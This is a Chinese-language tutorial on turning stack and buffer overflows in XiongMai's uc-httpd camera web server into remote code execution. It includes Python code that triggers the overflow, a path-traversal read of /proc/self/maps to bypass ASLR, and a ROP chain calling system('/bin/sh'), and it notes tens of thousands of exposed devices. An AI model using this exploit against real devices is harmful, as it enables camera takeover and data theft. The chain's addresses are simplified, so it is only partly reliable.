本文讲述了如何通过ROP技术利用一个嵌入式设备中的漏洞实现远程代码执行(RCE)。我们以XiongMai的uc-httpd轻量级Web服务器为例,详细解析了漏洞利用过程,并提供了实际的代码示例。以下内容将用更简单的方式解释技术知识点,并结合实际案例帮助理解。
背景与目标
在渗透测试中,发现一个漏洞(如XSS或配置错误)往往只是第一步,最终目标通常是实现RCE。在本文中,我们针对uc-httpd服务器的漏洞,展示如何从一个简单的缓冲区溢出发展到完整的RCE。
漏洞分析
目标软件:
uc-httpd 是运行在许多IP摄像头上的轻量级Web服务器。通过Shodan搜索发现,大约有70,000个实例暴露在互联网上。
已知漏洞:
- CVE-2018-10088:缓冲区溢出,但现有的利用代码仅能导致崩溃。
- CVE-2022-45460:路径拼接导致堆栈溢出。
缓冲区溢出示例
以下代码片段展示了如何将HTTP请求中的用户名和密码拷贝到固定长度的缓冲区中:
c
strcpy(&DATA_USERNAME, substring + 9); // 用户名缓冲区长度为20字节
strcpy(&DATA_PASSWORD, substring + 9); // 密码缓冲区长度为20字节
如果输入超过20字节,就会导致缓冲区溢出,从而覆盖程序内存中的其他数据,例如函数指针。
堆栈溢出示例
另一个漏洞出现在路径拼接时:
c
sprintf(filepath, "%s/%s", "/usr/mobile", uri);
这里uri
是用户可控的输入,没有进行长度检查,可能导致堆栈变量filepath
被覆盖,并最终修改函数返回地址。
调试环境搭建
为了分析和调试,我们需要:
- 获取目标设备上的二进制文件。
- 使用QEMU模拟ARM架构或直接在树莓派上运行调试环境。
以下是树莓派上的调试设置步骤:
bash
# 挂载伪文件系统
sudo mount --bind /proc/ rootfs/proc
# 进入chroot环境
sudo chroot rootfs/ sh
# 启动gdbserver
./gdbserver :8888 Sofia
在本地使用gdb-multiarch
连接到远程调试:
bash
gdb-multiarch
gef➤ gef-remote 192.168.2.2 8888
ROP链构建
ROP是一种利用程序中已有代码片段(称为"gadgets")来执行任意指令的技术。以下是ROP链的核心步骤:
1. 漏洞触发
通过发送特定格式的HTTP请求触发堆栈溢出:
python
import socket
payload = b"A" * 304 + b"BBBB" # 填充数据+覆盖返回地址
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect(("192.168.1.100", 80))
sock.send(b"GET /" + payload + b".mns.cab HTTP/1.1\r\n\r\n")
print(sock.recv(1024))
2. ASLR绕过
通过路径遍历漏洞读取/proc/self/maps
,获取动态库加载地址:
python
import requests
response = requests.get("http://192.168.1.100/../../../../proc/self/maps")
print(response.text)
3. 寻找Gadgets
使用工具如Ropper找到ROP所需的指令片段。例如:
bash
ropper --file Sofia --search "pop {r3, pc}"
找到以下gadgets:
0x000175cc: pop {r3, pc}
0x000535e8: system
0x000368dc: mov r0, sp; blx r3
4. 构建ROP链
目标是调用system("/bin/sh")
,以下是Python代码示例:
python
from struct import pack
libc_base = 0x400000 # 假设libc基地址已知
payload = b"A" * 304 # 填充数据
payload += pack("<I", libc_base + 0x175cc) # pop {r3, pc}
payload += pack("<I", libc_base + 0x535e8) # system地址
payload += pack("<I", libc_base + 0x368dc) # mov r0, sp; blx r3
# 将命令放入堆栈
payload += b"/bin/sh\x00"
# 发送Payload
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect(("192.168.1.100", 80))
sock.send(b"GET /" + payload + b".mns.cab HTTP/1.1\r\n\r\n")
print(sock.recv(1024))
实际应用场景
这种技术可以用来:
- 渗透测试中验证系统安全性。
- 演示嵌入式设备中常见漏洞的危害。
案例: 假设目标设备是一台IP摄像头,通过上述方法可以获取设备的远程Shell权限,进一步控制摄像头或提取敏感数据。
总结
本文展示了从漏洞分析到ROP链构建再到最终实现RCE的完整过程。通过这些步骤,我们不仅能够深入理解嵌入式设备中的安全问题,还能学习如何有效利用工具和技术解决实际问题。